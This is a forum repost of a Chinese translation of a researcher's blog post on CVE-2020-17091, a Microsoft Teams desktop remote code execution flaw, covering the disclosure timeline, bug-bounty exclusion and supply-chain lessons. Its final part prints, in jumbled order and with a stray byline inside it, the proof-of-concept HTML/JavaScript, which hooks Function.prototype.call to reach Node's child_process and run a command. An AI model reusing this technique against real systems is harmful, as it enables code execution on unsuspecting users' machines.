搜索

[29030] 2021-06-24_如何用两年时间解决远程代码执行漏洞CVE-2020-17091

文档创建者：s7ckTeam
浏览次数：259
最后更新：2025-01-19
2021-06-24_如何用两年时间解决远程代码执行漏洞CVE-2020-17091 如 何 用 两 年 时 间 解 决 远 程 代 码 执 行 漏 洞   C V E - 2 0 2 0 - 1 7 0 9 1 O t s 安 全   2 0 2 1 - 0 6 - 2 4 点 击 上 方 蓝 字 “ O t s 安 全 ” 一 起 玩 耍           - 点 击 图 文 广 告   =   打 赏 M i c r o s o f t   T e a m s   漏 洞 给 软 件 供 应 链 带 来 严 重 风 险 在 之 前 的 两 篇 博 文 中 ， 我 解 释 了 一 种 新 发 现 的 漏 洞 类 型 ， 称 为 依 赖 项 混 淆 ， 并 报 告 了 我 在   M i c r o s o f t   T e a m s   桌 面 应 用 程 序 中 发 现 该 漏 洞 时 发 生 的 情 况 。 在 这 两 篇 文 章 中 ， 我 注 意 到 我 之 前 在 同 一 个 应 用 程 序 中 发 现 了 远 程 代 码 执 行   ( R C E )   漏 洞 ， 所 以 我 想 我 会 讲 述 一 个 这 样 的 发 现 的 故 事 — — 特 别 是 因 为 它 最 近 （ 终 于 ） 得 到 了 解 决 。 它 很 好 地 说 明 了 安 全 研 究 人 员 在 发 现 和 报 告 漏 洞 时 所 面 临 的 过 程 。 这 种 安 全 研 究 是   C o n t r a s t   L a b s   团 队 工 作 的 一 个 组 成 部 分 ， 是 一 项 重 要 的 工 作 。 网 络 犯 罪 分 子 的 数 量 远 远 超 过 安 全 研 究 人 员 ， 而 且 他 们 的 大 部 分 工 作 都 是 在 自 己 的 时 间 完 成 的 。 我 们 大 多 数 人 都 有 “ 日 常 工 作 ” ， 其 中 包 括 许 多 其 他 职 责 。 事 实 上 ， 包 含 超 过   1 0 0 , 0 0 0   个 漏 洞 的 整 个 C o m m o n   V u l n e r a b i l i t i e s   a n d   E x p o s u r e s   ( C V E )   数 据 库 可 能 只 是 开 源 库 中 实 际 存 在 的 漏 洞 的 一 小 部 分 。 用 于 发 现 它 们 的 人 类 能 量 根 本 不 足 以 完 成 这 项 任 务 。 远 程 代 码 执 行 ： 冒 着 灾 难 的 风 险 远 程 代 码 执 行 ： 冒 着 灾 难 的 风 险 首 先 ， 了 解 一 些 远 程 代 码 执 行 的 背 景 知 识 。 R C E 漏 洞 可 能 是 极 其 危 险 的 一 个 组 织 ， 因 为 它 们 可 以 使 攻 击 者 能 够 做 任 何 事 情 ， 一 个 登 录 - 用 户 可 以 在 一 个 帐 户 做 。 想 象 一 下 可 能 对 企 业 产 生 的 影 响 — — 用 于 管 理 敏 感 数 据 的 关 键 应 用 程 序 。 恶 意 行 为 者 可 以 访 问 机 密 客 户 数 据 （ 财 务 ， 个 人 或 健 康 信 息 ） ， 员 工 数 据 （ 个 人 或 H R 信 息 ） ， 或 知 识 产 权 （ 产 品 开 发 数 据 和 去 - 到 - 市 场 计 划 ） 。 R C E   漏 洞 在 被 发 现 时 通 常 会 引 起 媒 体 的 关 注 ， 修 复 它 们 通 常 是 紧 迫 的 。 最 近 在 S o l a r W i n d s   O r i o n   平 台 中 发 现 （ 并 修 复 ） 了 一 个 严 重 的   R C E   漏 洞 ， 该 平 台 仍 然 受 到 去 年   1 2   月 披 露 的 大 规 模 攻 击 的 影 响 。 微 软 团 队 桌 面 应 用 程 序 中 的 微 软 团 队 桌 面 应 用 程 序 中 的   R C E 正 如 我 在 上 一 篇 博 文 中 指 出 的 那 样 ， M i c r o s o f t   T e a m s   已 成 为 越 来 越 多 组 织 的 关 键 业 务 应 用 程 序 ， 这 一 趋 势 在 过 去 一 年 中 因   C O V I D   -   1 9   大 流 行 而 加 速 。 值 得 注 意 的 是 ， 在 2 0 2 0   年   3   月 至   2 0 2 0   年   6   月 期 间 ， M i c r o s o f t   T e a m s   的 使 用 量 增 长 了 8 9 4 % ， 高 于 同 一 时 间 段 内 的   Z o o m 。 去 年   1 2   月 ， 微 软 宣 布   T e a m s 日 均 用 户 已 达 到 1 . 1 5   亿 。 每 个   T e a m s   用 户 都 知 道 ， M i c r o s o f t   大 力 推 广   T e a m s   桌 面 应 用 程 序 的 使 用 。 任 何 登 录   W e b   界 面 的 人 都 会 看 到 多 个 下 载 应 用 程 序 的 促 销 活 动 。 T e a m s   桌 面 应 用 程 序 基 于   E l e c t r o n   框 架 构 建 ， 这 是 我 的 专 业 安 全 研 究 领 域 之 一 。 由 于 其 架 构 ， T e a m s   与 其 他 协 作 工 具 （ 例 如 聊 天 平 台 ） 集 成 的 方 式 是 通 过 插 件 。 与   S l a c k   中 的 表 面 集 成 相 比 ， 这 实 现 了 更 深 入 、 更 丰 富 的 集 成 。 简 而 言 之 ， 插 件 将 外 部 网 站 嵌 入 到   T e a m s   应 用 程 序 中 ， 并 将 其 放 置 在 用 户 易 于 访 问 的 选 项 卡 上 。 正 是 通 过 这 些 插 件 中 的 一 个 ， 我 才 能 利 用   E l e c t r o n   中 的 特 定 功 能 — — 一 个 被 称 为 “ 上 下 文 隔 离 ” 的 沙 箱 。 为 应 用 程 序 的 实 际 插 件 渲 染 部 分 启 用 了 此 功 能 。 但 是 ， 我 意 识 到 我 可 以 使 用 插 件   A P I   中 的 一 个 功 能 来 打 开 一 个 新 的 “ 身 份 验 证 ” 窗 口 ， 其 中 包 含 我 自 己 的 未 启 用 此 安 全 功 能 的   U R L 。 在 没 有 上 下 文 隔 离 的 情 况 下 ， 外 部 控 制 的 应 用 程 序 和 内 部   E l e c t r o n   共 享 一 个 对 象 空 间 。 这 使 外 部 代 码 能 够 在 特 权 （ 节 点 ） 环 境 中 执 行 ， 而 不 是 在 限 制 更 多 的 基 于 浏 览 器 的 环 境 中 执 行 。 可 以 在 此 要 点 中 找 到 此 漏 洞 利 用 的 概 念 证 明   ( P O C )   。 使 用 默 认 权 限 ， 我 无 法 将 插 件 添 加 到 一 般 或 群 组 房 间 ， 但 我 可 以 向 我 拥 有 的 任 何 房 间 添 加 插 件 。 然 后 ， 我 可 以 邀 请 任 何 人 到 那 个 房 间 。 具 体 来 说 ， 对 于 加 入 房 间 并 单 击 选 项 卡 的 任 何 人 ， 我 都 可 以 在 计 算 机 上 运 行 代 码 并 接 管 他 们 的 帐 户 。 此 外 ， 这 是 一 个 无 限 的 过 程 。 我 可 以 继 续 邀 请 公 司 中 的 任 何 人 到 房 间 里 。 如 果 攻 击 者 利 用 此 漏 洞 ， 他 们 可 能 会 通 过 邀 请 该 公 司 的 员 工 加 入   T e a m s   频 道 来 潜 在 地 进 入 该 公 司 网 络 。 任 何   T e a m s   用 户 都 知 道 ， 单 击 此 类 邀 请 只 是 为 了 调 查 消 息 内 容 非 常 容 易 。
M i c r o s o f t   T e a m s   R C E   漏 洞 的 概 念 证 明 。 作 为 免 责 声 明 ， 我 在   M a c O S   中 编 写 并 测 试 了 此 有 效 负 载 ， 但 可 以 通 过   M i c r o s o f t   W i n d o w s   进 行 类 似 的 攻 击 。 执 行 发 生 在 内 部 节 点 进 程 中 ， 并 且 可 以 分 支 出 任 何 进 程 或 读 取 和 编 辑 当 前 用 户 有 权 访 问 的 任 何 文 件 。     一 个 扩 展 的 来 回 一 个 扩 展 的 来 回 我 于   2 0 1 8   年   9   月   1   日 向   M i c r o s o f t   安 全 响 应 中 心   ( M S R C )   报 告 了 此 漏 洞 。 以 下 是 此 后 历 史 的 一 些 亮 点 。 每 次 有 一 个 错 误 修 复 的 部 署 过 程 时 ， 开 发 和 测 试 都 有 三 个 月 的 周 转 时 间 。 在 两 个 实 例 中 ， 我 发 现   M i c r o s o f t 准 备 的 修 复 程 序 不 起 作 用 ， 这 显 着 延 长 了 过 程 。 →   2 0 1 8   年   9   月   1   日   –   报 告 给   M S R C 。 →   2 0 1 8   年   1 1   月   2 7   日   –   请 求 更 新 ； B B P   问 题 。 ←   2 0 1 8   年   1 2   月   3   日   –   回 复 ： 我 们 会 尽 快 回 复 您 。 →   2 0 1 9   年   3   月   2 5   日   –   请 求 更 新 。 ←   2 0 1 9   年   3   月   2 5   日   –   B B P   中 排 除 的 所 有 桌 面 应 用 程 序 。 没 有 问 题 更 新 。 ←   2 0 1 9   年   4   月   1 6   日   –   推 出 修 复 ， 请 求 复 制 。 →   2 0 1 9   年   5   月   6   日   –   仍 可 重 现 ； Š 到 位 u g g e s t e d 修 复 不 。 ←   2 0 1 9   年   5   月   7   日   –   响 应 ： 未 使 用 建 议 的 修 复 程 序 ； 它 会 打 破 太 多 。 ←   2 0 1 9   年   6   月   1 9   日   –   该 补 丁 是 “ 渐 进 式 ” 推 出 ， 仅 适 用 于   1 0 %   的 用 户 。 →   2 0 1 9   年   6   月   2 0   日   –   撤 消 了 功 能 标 志   e n a b l e R e m o t e M o d u l e F i l t e r i n g V 5   并 发 送 更 新 ， 确 认 这 不 会 解 决 问 题 。 ← 2 0 1 9   年   6   月   2 0   日   –   M S R C   确 认 并 将 传 递 信 息 。 →   2 0 1 9   年   7   月   1 8   日   –   新 版 本 和 电 子 更 新 打 破 了 确 切 的   P O C 。 警 告 不 完 整 的 修 复 。 请 求 协 调 披 露 。 →   2 0 1 9   年   8   月   2   日   -   发 送 了 新 的   P O C 。 ←   2 0 1 9   年   8   月   1 5   日   –   回 应 ： 他 们 正 在 努 力 进 行 “ 更 全 面 的 修 复 ” 。 →   2 0 1 9   年   8   月   2 7   日   –   远 程 的 一 些 更 改 – 需 要 中 断   P O C ， 发 送 新 的   P O C 。 →   2 0 1 9   年   1 0   月   1 4   日   –   请 求 更 新 。 ←   2 0 1 9 年 1 1   月   2 1   日 –   M S R C 来 回 讨 论 正 确 的 版 本 。 最 终 没 有 在 正 确 的 “ 戒 指 ” 中 让 我 下 载 。 M S R C   最 终 会 安 排 通 话 。 →   2 0 1 9   年   1 2   月   1 0   日   –   就 这 些 问 题 与   M S R C   联 系 。 ←   2 0 2 0   年   1   月   3 1   日   –   M S R C   表 示 该 修 复 是 更 大 修 复 的 一 部 分 ， 其 中 包 括 更 新 核 心 电 子 版 本 。 ←   2 0 2 0   年   1 0   月   2 7   日   –   M S R C   发 送 更 新 ， 将 提 供   C V E - 2 0 2 0 - 1 7 0 9 1 。 ←   2 0 2 0   年   1 1   月   1 6   日   –   M S R C   表 示 他 们 已 全 面 推 出 针 对 此 漏 洞 的 修 复 程 序 ， 并 添 加 到 确 认 页 面 。 这 个 漏 洞 最 终 在 今 年   1   月 被 注 册 为 C V E - 2 0 2 0 - 1 7 0 9 1 。 解 决 此 漏 洞 的 补 丁 与   C V E   的 发 布 一 起 包 含 在 自 动 更 新 中 。 因 此 ， M i c r o s o f t   T e a m s   桌 面 应 用 程 序 的 用 户 应 确 保 已 成 功 安 装 所 有 更 新 。 关 于 漏 洞 赏 金 的 说 明 关 于 漏 洞 赏 金 的 说 明 对 于 那 些 积 极 参 与 漏 洞 赏 金 计 划 的 人 — — 或 者 有 兴 趣 这 样 做 的 人 — — 我 应 该 提 一 件 事 。 尽 管   M i c r o s o f t   长 期 以 来 一 直 为   O f f i c e   3 6 5   提 供 漏 洞 赏 金 计 划 ， 但   T e a m s   桌 面 应 用 程 序 被 明 确 排 除 在 该 计 划 之 外 。 我 不 知 道 为 什 么 存 在 这 种 排 除 ， 但 有 趣 的 是   M i c r o s o f t   Y a m m e r   的 桌 面 应 用 程 序 （ 同 样 基 于   E l e c t r o n   平 台 ） 也 被 排 除 在 外 。  
尽 管 缺 乏 漏 洞 悬 赏 ， 我 仍 在 继 续 研 究 这 个 应 用 程 序 ， 因 为 它 是 我 的 专 业 领 域 ， 我 的 主 要 动 机 是 为 更 大 的 利 益 做 出 贡 献 。 但 是 ， 希 望 （ 甚 至 需 要 ） 为 他 们 的 工 作 获 得 报 酬 的 研 究 人 员 总 是 可 以 选 择 向 第 三 方 报 告 漏 洞 或 在 漏 洞 赏 金 竞 赛 中 报 告 漏 洞 。 顺 便 说 一 下 ， P w n 2 O w n   2 0 2 1 竞 赛 包 含 一 个 在   M i c r o s o f t   T e a m s   中 发 现 的 漏 洞 。 保 护 软 件 供 应 链 保 护 软 件 供 应 链 由 于 流 程 延 长 和 两 个 补 丁 无 效 ， 这 个 特 定 的   R C E   漏 洞 在 我 发 现 后 仍 然 存 在 于   M i c r o s o f t   T e a m s   桌 面 应 用 程 序 中 两 年 多 。 它 没 有 公 开 ， 也 没 有 坏 人 利 用 我 所 知 的 这 个 漏 洞 。 但 这 是 很 少 有 人 愿 意 承 担 的 风 险 。 如 果 我 能 够 发 现 此 漏 洞 ， 任 何 数 量 的 网 络 犯 罪 分 子 都 可 以 同 样 轻 松 地 发 现 它 。 这 样 做 时 ， 攻 击 者 可 能 会 在 一 个 或 多 个   T e a m s   客 户 站 点 造 成 重 大 损 害 。 另 一 个 提 醒 是 ， 每 个 组 织 在 考 虑 应 用 程 序 安 全 性 时 都 需 要 考 虑 整 个 软 件 供 应 链 ： 1 .   您 编 写 的 内 容 ： 内 部 开 发 的 自 定 义 代 码 可 以 解 决 大 多 数 软 件 漏 洞 。 2 .   您 构 建 的 内 容 ： 组 织 通 常 不 会 跟 踪 正 在 使 用 的 开 发 人 员 工 具 ， 其 中 存 在   1 , 0 0 0   多 个 。 3 .   你 使 用 什 么 ： 第 三 方 库 在 应 用 程 序 中 创 建 了 一 个 复 杂 的 依 赖 网 络 。 4 .   你 买 什 么 ： 关 闭 的 ， 现 成 的 软 件 即 服 务 （ S a a S ） 应 用 程 序 提 供 业 务 - 关 键 功 能 ， 但 他 们 的 用 户 具 有 对 软 件 的 完 整 性 没 有 控 制 权 。 正 如 今 年 早 些 时 候 的 依 赖 混 淆 漏 洞 一 样 ， 这 个 漏 洞 进 一 步 加 剧 了 软 件 供 应 链 带 来 的 风 险 。 组 织 必 须 注 意 他 们 使 用 的 所 有 软 件 所 带 来 的 风 险 ， 无 论 是 内 部 开 发 的 还 是 购 买 的 。 此 外 ， 风 险 不 仅 仅 是 针 对 一 个 组 织 或 应 用 程 序 。 在   R C E   的 情 况 下 ， 风 险 可 能 会 暴 露 数 千 家 公 司 和 数 千 万 用 户 。 有 关   M i c r o s o f t   T e a m s   中 此   R C E   漏 洞 的 更 多 详 细 信 息 ， 您 可 以 收 听 我 的   I n s i d e   A p p S e c   播 客 采 访 （ “   C V E - 2 0 2 0 - 1 7 0 9 1 ： C o n t r a s t   L a b s   发 现 的   M i c r o s o f t   T e a m s   中 的 远 程 代 码 执 行 漏 洞 ” ） 。     < ! D O C T Y P E   h t m l > < h t m l >         < h e a d >                 < s t y l e >                         b o d y {                         b a c k g r o u n d - c o l o r : # F 0 F 2 F 4 ; c o l o r : # 1 6 2 3 3 A ; f o n t   f a m i l y : ' S e g o e   U I ' ,   T a h o m a ,   H e l v e t i c a ,   S a n s - S e r i f ; f o n t - s i z e : 0 . 8 7 5 r e m ; f o n t - w e i g h t : 4 0 0 ; l i n e - h e i g h t : 1 . 2 5 r e m }                           } < / s t y l e >             < s c r i p t   s r c = " h t t p s : / / s t a t i c s . t e a m s . m i c r o s o f t . c o m / s d k / v 1 . 0 / j s / M i c r o s o f t T e a m s . m i n . j s " > < / s c r i p t >             < s c r i p t >                 ( f u n c t i o n ( )   {                         ' u s e   s t r i c t ' ;                         / /   C a l l   t h e   i n i t i a l i z e   A P I   f i r s t                         m i c r o s o f t T e a m s . i n i t i a l i z e ( ) ;                         / /   T r i g g e r   t h e   r e m o t e   l o g i n   p a g e                         m i c r o s o f t T e a m s . s e t t i n g s . r e g i s t e r O n S a v e H a n d l e r ( f u n c t i o n ( s a v e E v e n t )   {                                 m i c r o s o f t T e a m s . s e t t i n g s . s e t S e t t i n g s ( {                                         c o n t e n t U r l :   ' h t t p s : / / m a u s t i n . n e t / h a x / t e a m s / ' ,                                           e n t i t y I d :   ' h t t p s : / / m a u s t i n . n e t / h a x / t e a m s / '                                 } ) ;                                 s a v e E v e n t . n o t i f y S u c c e s s ( ) ;                         } ) ;                         / /   L o g i c   t o   l e t   t h e   u s e r   c o n f i g u r e   w h a t   t h e y   w a n t   t o   s e e   i n   t h e   t a b   b e i n g   l o a d e d                         d o c u m e n t . a d d E v e n t L i s t e n e r ( ' D O M C o n t e n t L o a d e d ' ,   f u n c t i o n ( )   {                                 m i c r o s o f t T e a m s . s e t t i n g s . s e t V a l i d i t y S t a t e ( t r u e ) ;                         } ) ;                 } ) ( ) ; < / s c r i p t >         < / h e a d >         < b o d y >                 < h 2 > s a v e < / h 2 >         < / b o d y > < / h t m l > < ! D O C T Y P E   h t m l > < h t m l >         < h e a d >             < s t y l e >             b o d y {                     b a c k g r o u n d - c o l o r : # F 0 F 2 F 4 ; c o l o r : # 1 6 2 3 3 A ; f o n t   f a m i l y : ' S e g o e   U I ' ,   T a h o m a ,   H e l v e t i c a ,   S a n s - S e r i f ; f o n t - s i z e : 0 . 8 7 5 r e m ; f o n t - w e i g h t : 4 0 0 ; l i n e - h e i g h t : 1 . 2 5 r e m }               } < / s t y l e >             < s c r i p t   s r c = " h t t p s : / / s t a t i c s . t e a m s . m i c r o s o f t . c o m / s d k / v 1 . 0 / j s / M i c r o s o f t T e a m s . m i n . j s " > < / s c r i p t >             < s c r i p t >                 ( f u n c t i o n ( )   {                         ' u s e   s t r i c t ' ;                         m i c r o s o f t T e a m s . i n i t i a l i z e ( ) ;                         / /   g e t   a   n e w   c o n t e x t   a n d   t r i g g e r   t h e   a u t h   w o r k f l o w                           m i c r o s o f t T e a m s . g e t C o n t e x t ( f u n c t i o n ( c o n t e x t ) {                                     m i c r o s o f t T e a m s . a u t h e n t i c a t i o n . a u t h e n t i c a t e ( {                                 u r l :   ' s t e p 2 . h t m l ' ,                                 w i d t h :   5 5 0 ,                                 h e i g h t :   6 6 0 ,
* * *   这 是 来 自 A p p S e c   O b s e r v e r 的 安 全 博 客 网 络 联 合 博 客 ， 作 者 是 安 全 研 究 总 监   M a t t   A u s t i n 。 阅 读 原 文 ： h t t p s   :   / / w w w . c o n t r a s t s e c u r i t y . c o m / s e c u r i t y - i n f l u e n c e r s / h o w - i t - t o o k - t w o - y e a r s - t o - r e s o l v e - r e m o t e - c o d e - e x e c u t i o n - v u l n e r a b i l i t y - c v e - 2 0 2 0 - 1 7 0 9 1 阅 读 原 文                                 s u c c e s s C a l l b a c k :   f u n c t i o n ( )   { } ,                                 f a i l u r e C a l l b a c k :   f u n c t i o n ( )   { }                             } ) ;                         } ) ;                 } ) ( ) ; < / s c r i p t >         < / h e a d >         < b o d y >                 M i c r o s o f t   T e a m s   P O C         < / b o d y > < / h t m l > < ! D O C T Y P E   h t m l > < h t m l >         < h e a d >             < s c r i p t >             / /   w i t h o u t   c o n t e x t   i s o l a t i o n   t h e   F u n c t i o n   p r o t o t y p e   i s   s h a r e d   w i t h   w i t h   n o d e j s   i n t e r n a l s .               / /   t h i s   m e a n s   w e   c a n   o v e r l o a d   a n d   a   h o o k   a   f u n c t i o n   c a l l   t h a t   g e t s   t h e   n o d e   " p r o c e s s "   o b j e c t .               F u n c t i o n . p r o t o t y p e . c a l l =   n e w   P r o x y ( F u n c t i o n . p r o t o t y p e . c a l l ,   {                 a p p l y :   f u n c t i o n ( t a r g e t ,   t h i s A r g ,   a r g u m e n t s L i s t )   {                     v a r   r e t   =   R e f l e c t . a p p l y ( t a r g e t ,   t h i s A r g ,   a r g u m e n t s L i s t ) ;                                 i f ( a r g u m e n t s L i s t [ 0 ] . p i d ) {   / /   t h i s   i s   p r o b a b l y   a   p r o c e s s   r e f                         a r g u m e n t s L i s t [ 0 ] . m a i n M o d u l e . r e q u i r e ( ' c h i l d _ p r o c e s s ' ) . e x e c S y n c ( ' o p e n   / A p p l i c a t i o n s / C a l c u l a t o r . a p p ' ) ;                     }                     r e t u r n   r e t                 }             } ) ;             l o c a t i o n . h r e f = " d o n e . h t m l " < / s c r i p t >         < / h e a d >         < b o d y >                 M S T e a m s   P O C   S t e p   # 2         < / b o d y > < / h t m l >
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理